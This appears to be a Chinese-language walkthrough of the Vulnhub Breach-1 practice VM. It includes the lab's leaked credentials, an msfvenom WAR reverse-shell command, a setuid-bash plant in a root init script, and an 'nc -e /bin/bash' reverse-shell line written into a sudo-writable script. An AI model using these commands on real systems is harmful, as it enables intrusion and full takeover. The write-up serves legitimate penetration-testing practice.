Vulnhub Breach-1 Walkthrough
前言
最近感觉已经很久没有训练靶场了,也不知道在忙什么,像是一种无效的内卷,正值端午佳节,不来卷一卷吗,各位?岂不妙哉。经过了三十多个 easy
级别的靶场的练习,感觉还是提一下难度吧,虽说学习要循序渐进,但是也绝不能原地踏步啊。加油@!
信息收集
- 还是熟悉的老样子,首先这个
ip
地址就不必收集了,这个靶场的作者已经声明了这是一个固定地址的靶机,所以在部署之前还费了一番周折,将虚拟机的仅主机模式调到了这个网段192.168.110.140.
。 - 又到了对端口进行扫描的时候了,但是这次的端口扫描多少有一些不一样,感觉像是做了防护一样,每一个端口都开着,所以截图就不放上了,总之端口扫描这条路断了,还是想别的办法了。
- 还有首页信息,直接在浏览器输入
ip
地址就可以看到下面的界面。
漏洞挖掘
这一章还是叫这个新的名字吧,因为靶机的难度提升了,不能总是依靠扫描得到信息,所有还是要靠人力搜索,加上工具的辅助,所以一改前面叫法。
首页代码找到密码
- 如图上所示,这个是在首页点击查看源代码所看到的信息,经过分析这是一串
base64
编码的字符串 - 经过两次的解码,发现了作者的提示信息
pgibbons:damnitfeel$goodtobeagang$ta
登陆网站寻找信息
- 发现点击首页上的图片可以跳转到
initech.html
。
- 于左侧发现了登陆界面,跳转到
user.php
。使用之前解码的密码尝试登陆。
- 发现网站的
cms
为ImpressCMS
,尝试在searchsploit
搜索。然而发现利用点的界面并无权访问。
- 打开左侧邮件盒子,发现第三封邮件有提示信息。
FWD: Thank you for your purchase of Super Secret Cert Pro!
Peter, I am not sure what this is. I saved the file here: 192.168.110.140/.keystore Bob —————————————————————————————————————————————————————————————————————- From: registrar@penetrode.com Sent: 02 June 2016 16:16 To: bob@initech.com; admin@breach.local Subject: Thank you for your purchase of Super Secret Cert Pro! Please find attached your new SSL certificate. Do not share this with anyone!
- 下载证书。下载包含
SSL
证书的秘钥库keystore
文件,其实存储公钥私钥的一种文件公式。
导入抓包文件、SSL 证书到 Wireshark
- 在左侧的菜单栏中依次点点,点击
View Account
菜单进入界面,再依次点击页面的Content
,会弹出一行链接Content SSL implementation test capture
,点击链接,如下图:
- 下载上述的流量包文件,同时获得一些提示信息
通过上面的提示信息可以知道,这个流量包没办法读取,而且 alias/storepassword/keypassword
都设置成了 tomcat
,这里不妨大胆的猜测这里一直提到 SSL
,不能读取可能是因为有 SSL
加密,在这就是系统存在 tomcat
服务。
- 使用
keytool
工具查看keystore
文件里面的证书。
- 导出证书。
- 打开
Wireshark
导入相关数据。
从上面的流中可以看一看到一个奇怪的字符串,尝试解码
- base64 解码并登陆后台。
┌──(root㉿localhost)-[~]
└─# echo dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC | base64 -d
tomcat:Tt\5D8F(#!*u=G)4m7zB
反弹 shell
登陆 tomcat
https://192.168.110.140:8443/_M@nag3Me/html
就是登陆地址,但是我无法在浏览器中直接进行访问 ,但是经过测试在 BurpSuite
中拦截一下就可以访问了,好有意思的界面。
上传木马
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.128 LPORT=4444 -f war > shell.war
# 上面的命令生成木马,上传到上面去,在 `msfconsole` 使用 `exploit/mutli/handler`, `payload` 设置为 `java/jsp_shell_reverse_tcp`
提权
- 通过脚本扫描发现是可以不需要密码就可以登陆数据库的。
- 找到
ssh
登陆密码。
在 mysql
数据库下的 user
中找到了和 /home
以及 /etc/passwd
中存在的一个用户 milton
的密码。
- 0解密密码。
- 提权
但是到这个时候虽然登陆上了,但是我并没有什么思路,知道这个时候我想起来了上面使用脚本的扫描的时候出现的一个 /etc/init.d/portly.sh
,我是可以编辑这个文件,而且这个脚本的主人又是 root
,所以是不是可以在这个脚本里面填上一句 cp /bin/bash /tmp/rootbash; chmod 4777 /tmp/rootbash;
从而达到将 /bin/bash
复制出来,达到提权的目的呢?试试吧。
但是这个方法有一个缺点,就是必须要重启一下目标靶机,但是这种方式在实际生活中很明显是不可靠的,因为有的服务器十年都不重启一下。
另一种提权
因为不是还有一个用户 blumbergh
嘛,之前在扫描的时候发现了有一个 /image
的路径,里面有张图片 bill.png
,使用工具查看一下图片的详细信息,看看这个账单有什么东西在里面。哈哈,想不到吧,这个就是密码 coffeestains
,我也想不到,真的是厉害想明白这一点的人,我到上面那一步已经词穷了。
切换用户
发现可以使用命令 tee
,那就好办了,使用 tee
在 tidyup.sh
中写入 反弹 shell
的语句,直接将 root
的弹出去。
- 直接使用
tee
提权。
echo "nc -e /bin/bash 192.168.110.128 5555" > shell.txt
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
tee 提权
开起来 nc -lvnp 5555
等着吧。等他连上,这种的好处是不需要重启,上一种提权方式实在是太暴力了。